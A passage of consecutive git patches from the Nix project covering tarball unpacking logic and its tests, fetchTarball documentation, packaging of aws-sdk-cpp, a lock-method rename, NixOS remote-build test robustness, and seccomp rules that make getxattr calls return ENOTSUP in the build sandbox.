sync() override { + Hash sync() override + { updateBuilders({}); auto [oid, _name] = popBuilder(); + /* If the root directory contains a single entry that is a + directory or a non-executable regular file, return that as + the top-level object. We don't do this for executables + because they don't have a tree hash in the Git object + model. */ + auto _tree = lookupObject(*repo, oid, GIT_OBJECT_TREE); + auto tree = (const git_tree *) &*_tree; + + if (git_tree_entrycount(tree) == 1) { + auto entry = git_tree_entry_byindex(tree, 0); + auto mode = git_tree_entry_filemode(entry); + if (mode == GIT_FILEMODE_BLOB || mode == GIT_FILEMODE_TREE) + oid = *git_tree_entry_id(entry); + } + return toHash(oid); } }; diff --git a/tests/functional/tarball.sh b/tests/functional/tarball.sh index ab357ac78..6799831ce 100755 --- a/tests/functional/tarball.sh +++ b/tests/functional/tarball.sh @@ -83,3 +83,28 @@ path="$(nix flake prefetch --json "tarball+file://$(pwd)/tree.tar.gz" | jq -r .s [[ $(cat "$path/a/zzz") = bar ]] [[ $(cat "$path/c/aap") = bar ]] [[ $(cat "$path/fnord") = bar ]] + +# Test a tarball that has multiple top-level directories. +rm -rf "$TEST_ROOT/tar_root" +mkdir -p "$TEST_ROOT/tar_root" "$TEST_ROOT/tar_root/foo" "$TEST_ROOT/tar_root/bar" +tar cvf "$TEST_ROOT/tar.tar" -C "$TEST_ROOT/tar_root" . +path="$(nix flake prefetch --json "tarball+file://$TEST_ROOT/tar.tar" | jq -r .storePath)" +[[ -d "$path/foo" ]] +[[ -d "$path/bar" ]] + +# Test a tarball that has a single non-executable regular file. +rm -rf "$TEST_ROOT/tar_root" +mkdir -p "$TEST_ROOT/tar_root" +echo bar > "$TEST_ROOT/tar_root/foo" +tar cvf "$TEST_ROOT/tar.tar" -C "$TEST_ROOT/tar_root" . +path="$(nix flake prefetch --refresh --json "tarball+file://$TEST_ROOT/tar.tar" | jq -r .storePath)" +[[ $(cat "$path") = bar ]] + +# Test a tarball that has a single executable regular file. +rm -rf "$TEST_ROOT/tar_root" +mkdir -p "$TEST_ROOT/tar_root" +echo bar > "$TEST_ROOT/tar_root/foo" +chmod +x "$TEST_ROOT/tar_root/foo" +tar cvf "$TEST_ROOT/tar.tar" -C "$TEST_ROOT/tar_root" . +path="$(nix flake prefetch --refresh --json "tarball+file://$TEST_ROOT/tar.tar" | jq -r .storePath)" +[[ $(cat "$path/foo") = bar ]] From b88950ec777ab55a5e924c0b3758bad06a6f0f33 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 26 Jul 2024 20:34:04 +0200 Subject: [PATCH 1212/1251] Update fetchTree docs --- src/libexpr/primops/fetchTree.cc | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index e59d7fe67..9a3b81bc9 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -559,11 +559,11 @@ static RegisterPrimOp primop_fetchTarball({ .doc = R"( Download the specified URL, unpack it and return the path of the unpacked tree. The file must be a tape archive (`.tar`) compressed - with `gzip`, `bzip2` or `xz`. The top-level path component of the - files in the tarball is removed, so it is best if the tarball - contains a single directory at top level. The typical use of the - function is to obtain external Nix expression dependencies, such as - a particular version of Nixpkgs, e.g. + with `gzip`, `bzip2` or `xz`. If the tarball consists of a + single directory or non-executable file, then the top-level path + component of the files in the tarball is removed. The typical + use of the function is to obtain external Nix expression + dependencies, such as a particular version of Nixpkgs, e.g. ```nix with import (fetchTarball https://github.com/NixOS/nixpkgs/archive/nixos-14.12.tar.gz) {}; From 5e83c0427f701df33a37a7993945d7db99f6267e Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 26 Jul 2024 20:46:07 +0200 Subject: [PATCH 1213/1251] Fix test --- tests/unit/libfetchers/git-utils.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/unit/libfetchers/git-utils.cc b/tests/unit/libfetchers/git-utils.cc index d3547ec6a..f0d38d50c 100644 --- a/tests/unit/libfetchers/git-utils.cc +++ b/tests/unit/libfetchers/git-utils.cc @@ -103,7 +103,7 @@ TEST_F(GitUtilsTest, sink_hardlink) sink->createHardlink(CanonPath("foo-1.1/link"), CanonPath("hello")); FAIL() << "Expected an exception"; } catch (const nix::Error & e) { - ASSERT_THAT(e.msg(), testing::HasSubstr("invalid hard link target")); + ASSERT_THAT(e.msg(), testing::HasSubstr("cannot find hard link target")); ASSERT_THAT(e.msg(), testing::HasSubstr("/hello")); ASSERT_THAT(e.msg(), testing::HasSubstr("foo-1.1/link")); } From 6af40f488a26fda5de55e16c6ba950c6f99762ee Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 27 Jul 2024 01:38:18 +0200 Subject: [PATCH 1214/1251] Rename SyncBase::read() -> readLock() Make it explicit so it's clear what it's about when I and other contributors read its call sites. --- src/libstore/store-api.cc | 2 +- src/libutil/posix-source-accessor.cc | 2 +- src/libutil/sync.hh | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 21fa2939d..b3e5ad014 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -920,7 +920,7 @@ StorePathSet Store::exportReferences(const StorePathSet & storePaths, const Stor const Store::Stats & Store::getStats() { { - auto state_(state.read()); + auto state_(state.readLock()); stats.pathInfoCacheSize = state_->pathInfoCache.size(); } return stats; diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index 35047f89e..2b1a485d5 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -97,7 +97,7 @@ std::optional PosixSourceAccessor::cachedLstat(const CanonPath & pa Path absPath = makeAbsPath(path).string(); { - auto cache(_cache.read()); + auto cache(_cache.readLock()); auto i = cache->find(absPath); if (i != cache->end()) return i->second; } diff --git a/src/libutil/sync.hh b/src/libutil/sync.hh index c1b699ffc..d340f3d97 100644 --- a/src/libutil/sync.hh +++ b/src/libutil/sync.hh @@ -106,7 +106,7 @@ public: * Acquire read access to the inner value. When using * `std::shared_mutex`, this will use a shared lock. */ - ReadLock read() const { return ReadLock(const_cast(this)); } + ReadLock readLock() const { return ReadLock(const_cast(this)); } }; template From 22f943bb1fe3feefdf4e469270de79406a46f5c3 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 27 Jul 2024 02:10:31 +0200 Subject: [PATCH 1215/1251] dependencies: Centralize aws-sdk-cpp and sync with Nixpkgs By syncing with Nixpkgs, we reuse the same derivation, which is generally a good idea, and has the benefit that it is transitively a channel blocker. Changes: - https://github.com/NixOS/nixpkgs/pull/163313 (SuperSandro2000) > nix: disable big-parallel for aws-sdk-cpp > aws-sdk-cpp only takes ~1m52s on a 4 core machine under 50% load > which does not justify the requirement on big parallel. > Tested with `nix-build -A nixVersions.nix_2_6.aws-sdk-cpp`. > I can finally build nix without requiring a big-parallel machine. - https://github.com/NixOS/nixpkgs/pull/227506 (Artturin) > nix: use [ ] instead null to empty requiredSystemFeatures > fixes 'error: value is null while a list was expected' with 'nixpkgs.hostPlatform.gcc.arch = "x86_64";' --- package.nix | 5 +---- packaging/dependencies.nix | 9 +++++++++ src/libstore/package.nix | 5 +---- 3 files changed, 11 insertions(+), 8 deletions(-) diff --git a/package.nix b/package.nix index c3e565399..2499d4370 100644 --- a/package.nix +++ b/package.nix @@ -237,10 +237,7 @@ in { ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid # There have been issues building these dependencies ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin)) - (aws-sdk-cpp.override { - apis = ["s3" "transfer"]; - customMemoryManagement = false; - }) + aws-sdk-cpp ; propagatedBuildInputs = [ diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix index b77e1d14f..e0737593f 100644 --- a/packaging/dependencies.nix +++ b/packaging/dependencies.nix @@ -79,6 +79,15 @@ scope: { inherit stdenv versionSuffix; version = lib.fileContents ../.version + versionSuffix; + aws-sdk-cpp = (pkgs.aws-sdk-cpp.override { + apis = [ "s3" "transfer" ]; + customMemoryManagement = false; + }).overrideAttrs { + # only a stripped down version is built, which takes a lot less resources + # to build, so we don't need a "big-parallel" machine. + requiredSystemFeatures = [ ]; + }; + libseccomp = pkgs.libseccomp.overrideAttrs (_: rec { version = "2.5.5"; src = pkgs.fetchurl { diff --git a/src/libstore/package.nix b/src/libstore/package.nix index 02ff4194a..4582ba0d2 100644 --- a/src/libstore/package.nix +++ b/src/libstore/package.nix @@ -66,10 +66,7 @@ mkMesonDerivation (finalAttrs: { ] ++ lib.optional stdenv.hostPlatform.isLinux libseccomp # There have been issues building these dependencies ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin)) - (aws-sdk-cpp.override { - apis = ["s3" "transfer"]; - customMemoryManagement = false; - }) + aws-sdk-cpp ; propagatedBuildInputs = [ From 17b5d404457018ab1634fbbc38211607682ee37a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 27 Jul 2024 02:39:55 +0200 Subject: [PATCH 1216/1251] package.nix: Empty build inputs if not doBuild --- package.nix | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/package.nix b/package.nix index 2499d4370..a7c8923e8 100644 --- a/package.nix +++ b/package.nix @@ -216,7 +216,8 @@ in { ] ++ lib.optional stdenv.hostPlatform.isStatic unixtools.hexdump ; - buildInputs = lib.optionals doBuild [ + buildInputs = lib.optionals doBuild ( + [ brotli bzip2 curl @@ -238,12 +239,13 @@ in { # There have been issues building these dependencies ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin)) aws-sdk-cpp - ; + ); - propagatedBuildInputs = [ + propagatedBuildInputs = lib.optionals doBuild ([ boost nlohmann_json - ] ++ lib.optional enableGC boehmgc; + ] ++ lib.optional enableGC boehmgc + ); dontBuild = !attrs.doBuild; doCheck = attrs.doCheck; From f4464873f514a1aa05ca43178dfca6e1c978f0c9 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 27 Jul 2024 13:01:56 +0200 Subject: [PATCH 1217/1251] tests/nixos/remote-builds: Print hello world to stderr Trying to learn more about enigmatic spurious hang at https://hydra.nixos.org/build/267517233/nixlog/8 - builder1 seems to have started properly - ssh connection and session are established - ssh client doesn't exit or client.succeed does not return for some reason. Seeing the stdout on the console might give a tiny bit more info. --- tests/nixos/remote-builds.nix | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tests/nixos/remote-builds.nix b/tests/nixos/remote-builds.nix index 1661203ec..8813832f5 100644 --- a/tests/nixos/remote-builds.nix +++ b/tests/nixos/remote-builds.nix @@ -104,7 +104,10 @@ in builder.succeed("mkdir -p -m 700 /root/.ssh") builder.copy_from_host("key.pub", "/root/.ssh/authorized_keys") builder.wait_for_unit("sshd") - client.succeed(f"ssh -o StrictHostKeyChecking=no {builder.name} 'echo hello world'") + client.succeed(f""" + ssh -o StrictHostKeyChecking=no {builder.name} \ + 'echo hello world on $(hostname)' >&2 + """) # Perform a build and check that it was performed on the builder. out = client.succeed( From 7c5a0b06a4a7908560bca273049e561c0f8193b2 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 27 Jul 2024 13:08:30 +0200 Subject: [PATCH 1218/1251] tests/nixos/remote-builds: Wait for multi-user This should make the test more robust, considering the strange hang in https://hydra.nixos.org/build/267517233/nixlog/8 `builder` seems to have reached `multi-user.target` before the SSH connection was established, but this seems to be coincidental. This does tell us that enforcing this has a minimal cost in terms of runtime. Waiting for `multi-user.target` on the client is honestly paranoid, but flaky tests are very bad for productivity. --- tests/nixos/remote-builds.nix | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/tests/nixos/remote-builds.nix b/tests/nixos/remote-builds.nix index 8813832f5..8ddf6ad02 100644 --- a/tests/nixos/remote-builds.nix +++ b/tests/nixos/remote-builds.nix @@ -104,6 +104,11 @@ in builder.succeed("mkdir -p -m 700 /root/.ssh") builder.copy_from_host("key.pub", "/root/.ssh/authorized_keys") builder.wait_for_unit("sshd") + # Make sure the builder can handle our login correctly + builder.wait_for_unit("multi-user.target") + # Make sure there's no funny business on the client either + # (should not be necessary, but we have reason to be careful) + client.wait_for_unit("multi-user.target") client.succeed(f""" ssh -o StrictHostKeyChecking=no {builder.name} \ 'echo hello world on $(hostname)' >&2 From cc5b8cdc858467a759405ff8bba074bb9464b3b8 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 27 Jul 2024 13:42:03 +0200 Subject: [PATCH 1219/1251] buildNoTests: Disable unit tests This seems to have been the intent all along. The odd combination of unit tests, but no functional tests caused a build error where some data for the unit test was source-filtered out. Apparently. It's unclear to me why that happened, so I'm proposing this alternate "fix" to get the buildNoTests to pass. It would be nice to test more configurations, but this mode of building is on the way out anyway, so let's just make it pass and see what configurations make sense to test as part of the meson migration. --- flake.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/flake.nix b/flake.nix index 2384c2974..674c5ae8c 100644 --- a/flake.nix +++ b/flake.nix @@ -143,6 +143,7 @@ nix_noTests = final.nix.override { doInstallCheck = false; + doCheck = false; }; # See https://github.com/NixOS/nixpkgs/pull/214409 From aa2b1d10e29b3839760f02b1e30e70d70cb44ed2 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 27 Jul 2024 14:58:57 +0200 Subject: [PATCH 1220/1251] Update doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md --- .../10734-nix3-build-show-all-fod-errors-with-keep-going.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md b/doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md index e4e2f797c..1d623e952 100644 --- a/doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md +++ b/doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md @@ -3,7 +3,7 @@ synopsis: "nix3-build: show all FOD errors with `--keep-going`" prs: 10734 --- -The [`nix build`](@docroot@/command-ref/new-cli/nix3-build.md) command has been updated to improve the behavior of the [`--keep-going`] flag. Now, when `--keep-going` is used, all hash-mismatch errors of failing fixed-output derivations (FODs) are displayed, similar to the behavior of `nix build`. This enhancement ensures that all relevant build errors are shown, making it easier for users to update multiple derivations at once or to diagnose and fix issues. +The [`nix build`](@docroot@/command-ref/new-cli/nix3-build.md) command has been updated to improve the behavior of the [`--keep-going`] flag. Now, when `--keep-going` is used, all hash-mismatch errors of failing fixed-output derivations (FODs) are displayed, similar to the behavior for other build failures. This enhancement ensures that all relevant build errors are shown, making it easier for users to update multiple derivations at once or to diagnose and fix issues. Author: [**Jörg Thalheim (@Mic92)**](https://github.com/Mic92), [**Maximilian Bosch (@Ma27)**](https://github.com/Ma27) From e0198c513accf7f3b481ca71ff482840f294a1da Mon Sep 17 00:00:00 2001 From: Pino Toscano Date: Sun, 28 Jul 2024 11:40:16 +0200 Subject: [PATCH 1221/1251] libcmd: do not compile editline helpers when building w/ readline The internal "completionCallback" and "listPossibleCallback" helpers are used only when building with editline; hence, do not build then when using readline, matching their usage in "ReadlineLikeInteracter::init()". --- src/libcmd/repl-interacter.cc | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/libcmd/repl-interacter.cc b/src/libcmd/repl-interacter.cc index 76fe38780..187af46ea 100644 --- a/src/libcmd/repl-interacter.cc +++ b/src/libcmd/repl-interacter.cc @@ -35,6 +35,7 @@ void sigintHandler(int signo) static detail::ReplCompleterMixin * curRepl; // ugly +#ifndef USE_READLINE static char * completionCallback(char * s, int * match) { auto possible = curRepl->completePrefix(s); @@ -101,6 +102,7 @@ static int listPossibleCallback(char * s, char *** avp) return ac; } +#endif ReadlineLikeInteracter::Guard ReadlineLikeInteracter::init(detail::ReplCompleterMixin * repl) { From 1b47748e5a839c714864d51c9ec1ce86ea353456 Mon Sep 17 00:00:00 2001 From: Ivan Trubach Date: Sun, 28 Jul 2024 13:08:33 +0300 Subject: [PATCH 1222/1251] libstore: return ENOTSUP for getxattr functions MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This change updates the seccomp profile to return ENOTSUP for getxattr functions family. This reflects the behavior of filesystems that don’t support extended attributes (or have an option to disable them), e.g. ext2. The current behavior is confusing for some programs because we can read extended attributes, but only get to know that they are not supported when setting them. In addition to that, ACLs on Linux are implemented via extended attributes internally and if we don’t return ENOTSUP, acl library converts file mode to ACL. https://git.savannah.nongnu.org/cgit/acl.git/tree/libacl/acl_get_file.c?id=d9bb1759d4dad2f28a6dcc8c1742ff75d16dd10d#n69 --- src/libstore/unix/build/local-derivation-goal.cc | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 364e9a148..d3482df17 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -1702,10 +1702,13 @@ void setupSeccomp() throw SysError("unable to add seccomp rule"); } - /* Prevent builders from creating EAs or ACLs. Not all filesystems + /* Prevent builders from using EAs or ACLs. Not all filesystems support these, and they're not allowed in the Nix store because they're not representable in the NAR serialisation. */ - if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(setxattr), 0) != 0 || + if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(getxattr), 0) != 0 || + seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(lgetxattr), 0) != 0 || + seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(fgetxattr), 0) != 0 || + seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(setxattr), 0) != 0 || seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(lsetxattr), 0) != 0 || seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(fsetxattr), 0) != 0) throw SysError("unable to add seccomp rule"); From 933f2c086a96d8ce358cc787cf06c50a07263e9e Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Sun, 28 Jul 2024 15:34:48 +0200 Subject: [PATCH 1223/1251] docs: fix link to building instructions (#11207) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ab647e53b..021e54a3b 100644 --- a/README.md +++ b/README.md @@ -15,7 +15,7 @@ Full reference documentation can be found in the [Nix manual](https://nix.dev/re ## Building and developing -Follow instructions in the Nix reference manual to [set up a development environment and build Nix from source](https://nix.dev/manual/nix/development/development/building.html). +Follow instructions in the Nix reference manual to [set up a development environment and build Nix from source](https://nix.dev/manual/nix/development/building.html). ## Contributing From 96e06b2b06266684d5d74f5f809bdd82ebeb7b04 Mon Sep 17 00:00:00 2001 From: Pino Toscano Date: Sun, 28 Jul 2024 11:31:28 +0200 Subject: [PATCH 1224/1251] libutil: remove template id from constructors This is not allowed in C++20, and GCC 14 warns about it: ../src/libutil/ref.hh:26:20: warning: template-id not allowed for constructor in C++20 [-Wtemplate-id-cdtor] 26 | explicit ref(const std::shared_ptr & p) | ^ ../src/libutil/ref.hh:26:20: note: remove the '< >' ../src/libutil/ref.hh:33:21: warning: template-id not allowed for constructor in C++20 [-Wtemplate-id-cdtor] 33 | explicit ref(T * p) | ^ ../src/libutil/ref.hh:33:21: note: remove the '< >' --- src/libutil/ref.hh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libutil/ref.hh b/src/libutil/ref.hh index 016fdd74a..3d0e64ab4 100644 --- a/src/libutil/ref.hh +++ b/src/libutil/ref.hh @@ -23,14 +23,14 @@ public: : p(r.p) { } - explicit ref(const std::shared_ptr & p) + explicit ref(const std::shared_ptr & p) : p(p) { if (!p) throw std::invalid_argument("null pointer cast to ref"); } - explicit ref(T * p) + explicit ref(T * p) : p(p) { if (!p) From c34077578ea48af7534f4dd2aaeef39cb64d9814 Mon Sep 17 00:00:00 2001 From: Pino Toscano Date: Sun, 28 Jul 2024 17:33:24 +0200 Subject: [PATCH 1225/1251] libutil: fix/improve includes in current-process.cc - move from a __linux__ block to a !_WIN32 block: this matches what the actual code does, using getrlimit() & setrlimit() in !_WIN32 blocks - drop , which is not portable, and it is not used --- src/libutil/current-process.cc | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc index 6ca48220d..c2b1ac500 100644 --- a/src/libutil/current-process.cc +++ b/src/libutil/current-process.cc @@ -15,13 +15,12 @@ #if __linux__ # include -# include # include "cgroup.hh" # include "namespaces.hh" #endif #ifndef _WIN32 -# include +# include #endif namespace nix { From e0012b97abb4c97ccf7fb20299d7b62dd906e89d Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 29 Jul 2024 14:26:25 +0200 Subject: [PATCH 1226/1251] Split tarball-specific logic from GitFileSystemObjectSink --- src/libfetchers/git-utils.cc | 33 ++++++++++++++++------------- src/libfetchers/git-utils.hh | 11 ++++++++++ src/libfetchers/github.cc | 5 +++-- src/libfetchers/tarball.cc | 6 ++++-- tests/unit/libfetchers/git-utils.cc | 2 +- 5 files changed, 37 insertions(+), 20 deletions(-) diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index 032d8e0bd..c2d4fe6aa 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -486,6 +486,24 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this return narHash; } + + Hash dereferenceSingletonDirectory(const Hash & oid_) override + { + auto oid = hashToOID(oid_); + + /* If the root directory contains */ + auto _tree = lookupObject(*this, oid, GIT_OBJECT_TREE); + auto tree = (const git_tree *) &*_tree; + + if (git_tree_entrycount(tree) == 1) { + auto entry = git_tree_entry_byindex(tree, 0); + auto mode = git_tree_entry_filemode(entry); + if (mode == GIT_FILEMODE_BLOB || mode == GIT_FILEMODE_TREE) + oid = *git_tree_entry_id(entry); + } + + return toHash(oid); + } }; ref GitRepo::openRepo(const std::filesystem::path & path, bool create, bool bare) @@ -991,21 +1009,6 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink auto [oid, _name] = popBuilder(); - /* If the root directory contains a single entry that is a - directory or a non-executable regular file, return that as - the top-level object. We don't do this for executables - because they don't have a tree hash in the Git object - model. */ - auto _tree = lookupObject(*repo, oid, GIT_OBJECT_TREE); - auto tree = (const git_tree *) &*_tree; - - if (git_tree_entrycount(tree) == 1) { - auto entry = git_tree_entry_byindex(tree, 0); - auto mode = git_tree_entry_filemode(entry); - if (mode == GIT_FILEMODE_BLOB || mode == GIT_FILEMODE_TREE) - oid = *git_tree_entry_id(entry); - } - return toHash(oid); } }; diff --git a/src/libfetchers/git-utils.hh b/src/libfetchers/git-utils.hh index 495916f62..644f22a07 100644 --- a/src/libfetchers/git-utils.hh +++ b/src/libfetchers/git-utils.hh @@ -98,6 +98,17 @@ struct GitRepo * serialisation. This is memoised on-disk. */ virtual Hash treeHashToNarHash(const Hash & treeHash) = 0; + + /** + * If the specified Git object is a directory with a single entry + * that is a directory or a non-executable regular file, return + * the ID of that object. + * + * Note: We don't do this for executable files because they don't + * have a tree hash in the Git object model that distinguishes + * them from non-executable files. + */ + virtual Hash dereferenceSingletonDirectory(const Hash & oid) = 0; }; ref getTarballCache(); diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index 2968d2df2..a2ac9247a 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -255,11 +255,12 @@ struct GitArchiveInputScheme : InputScheme }); TarArchive archive { *source }; - auto parseSink = getTarballCache()->getFileSystemObjectSink(); + auto tarballCache = getTarballCache(); + auto parseSink = tarballCache->getFileSystemObjectSink(); auto lastModified = unpackTarfileToSink(archive, *parseSink); TarballInfo tarballInfo { - .treeHash = parseSink->sync(), + .treeHash = tarballCache->dereferenceSingletonDirectory(parseSink->sync()), .lastModified = lastModified }; diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc index 55db3eafb..b09f628a4 100644 --- a/src/libfetchers/tarball.cc +++ b/src/libfetchers/tarball.cc @@ -164,7 +164,8 @@ DownloadTarballResult downloadTarball( TarArchive{path}; }) : TarArchive{*source}; - auto parseSink = getTarballCache()->getFileSystemObjectSink(); + auto tarballCache = getTarballCache(); + auto parseSink = tarballCache->getFileSystemObjectSink(); auto lastModified = unpackTarfileToSink(archive, *parseSink); auto res(_res->lock()); @@ -177,7 +178,8 @@ DownloadTarballResult downloadTarball( infoAttrs = cached->value; } else { infoAttrs.insert_or_assign("etag", res->etag); - infoAttrs.insert_or_assign("treeHash", parseSink->sync().gitRev()); + infoAttrs.insert_or_assign("treeHash", + tarballCache->dereferenceSingletonDirectory(parseSink->sync()).gitRev()); infoAttrs.insert_or_assign("lastModified", uint64_t(lastModified)); if (res->immutableUrl) infoAttrs.insert_or_assign("immutableUrl", *res->immutableUrl); diff --git a/tests/unit/libfetchers/git-utils.cc b/tests/unit/libfetchers/git-utils.cc index f0d38d50c..de5110cc3 100644 --- a/tests/unit/libfetchers/git-utils.cc +++ b/tests/unit/libfetchers/git-utils.cc @@ -77,7 +77,7 @@ TEST_F(GitUtilsTest, sink_basic) // sink->createHardlink("foo-1.1/links/foo-2", CanonPath("foo-1.1/hello")); - auto result = sink->sync(); + auto result = repo->dereferenceSingletonDirectory(sink->sync()); auto accessor = repo->getAccessor(result, false); auto entries = accessor->readDirectory(CanonPath::root); ASSERT_EQ(entries.size(), 5); From 7c18b4d0600bfb8ad4159712025f1dcb790aa36f Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 29 Jul 2024 14:34:02 +0200 Subject: [PATCH 1227/1251] Don't dereference top-level regular files Since this yielded an empty directory as far back as Nix 2.3, we don't really need special handling for executables vs non-executables. --- src/libfetchers/git-utils.cc | 3 +-- src/libfetchers/git-utils.hh | 7 +------ tests/functional/tarball.sh | 10 +--------- 3 files changed, 3 insertions(+), 17 deletions(-) diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index c2d4fe6aa..114aa4ec0 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -491,14 +491,13 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this { auto oid = hashToOID(oid_); - /* If the root directory contains */ auto _tree = lookupObject(*this, oid, GIT_OBJECT_TREE); auto tree = (const git_tree *) &*_tree; if (git_tree_entrycount(tree) == 1) { auto entry = git_tree_entry_byindex(tree, 0); auto mode = git_tree_entry_filemode(entry); - if (mode == GIT_FILEMODE_BLOB || mode == GIT_FILEMODE_TREE) + if (mode == GIT_FILEMODE_TREE) oid = *git_tree_entry_id(entry); } diff --git a/src/libfetchers/git-utils.hh b/src/libfetchers/git-utils.hh index 644f22a07..ca37f2e80 100644 --- a/src/libfetchers/git-utils.hh +++ b/src/libfetchers/git-utils.hh @@ -101,12 +101,7 @@ struct GitRepo /** * If the specified Git object is a directory with a single entry - * that is a directory or a non-executable regular file, return - * the ID of that object. - * - * Note: We don't do this for executable files because they don't - * have a tree hash in the Git object model that distinguishes - * them from non-executable files. + * that is a directory, return the ID of that object. */ virtual Hash dereferenceSingletonDirectory(const Hash & oid) = 0; }; diff --git a/tests/functional/tarball.sh b/tests/functional/tarball.sh index 6799831ce..4d8945625 100755 --- a/tests/functional/tarball.sh +++ b/tests/functional/tarball.sh @@ -92,15 +92,7 @@ path="$(nix flake prefetch --json "tarball+file://$TEST_ROOT/tar.tar" | jq -r .s [[ -d "$path/foo" ]] [[ -d "$path/bar" ]] -# Test a tarball that has a single non-executable regular file. -rm -rf "$TEST_ROOT/tar_root" -mkdir -p "$TEST_ROOT/tar_root" -echo bar > "$TEST_ROOT/tar_root/foo" -tar cvf "$TEST_ROOT/tar.tar" -C "$TEST_ROOT/tar_root" . -path="$(nix flake prefetch --refresh --json "tarball+file://$TEST_ROOT/tar.tar" | jq -r .storePath)" -[[ $(cat "$path") = bar ]] - -# Test a tarball that has a single executable regular file. +# Test a tarball that has a single regular file. rm -rf "$TEST_ROOT/tar_root" mkdir -p "$TEST_ROOT/tar_root" echo bar > "$TEST_ROOT/tar_root/foo" From 71865dee2d2818a0955e784901de9c93a1f2baf7 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 29 Jul 2024 15:04:55 +0200 Subject: [PATCH 1228/1251] Fix fetchTarball docs --- src/libexpr/primops/fetchTree.cc | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index 9a3b81bc9..f79b6b7b8 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -560,10 +560,10 @@ static RegisterPrimOp primop_fetchTarball({ Download the specified URL, unpack it and return the path of the unpacked tree. The file must be a tape archive (`.tar`) compressed with `gzip`, `bzip2` or `xz`. If the tarball consists of a - single directory or non-executable file, then the top-level path - component of the files in the tarball is removed. The typical - use of the function is to obtain external Nix expression - dependencies, such as a particular version of Nixpkgs, e.g. + single directory, then the top-level path component of the files + in the tarball is removed. The typical use of the function is to + obtain external Nix expression dependencies, such as a + particular version of Nixpkgs, e.g. ```nix with import (fetchTarball https://github.com/NixOS/nixpkgs/archive/nixos-14.12.tar.gz) {}; From 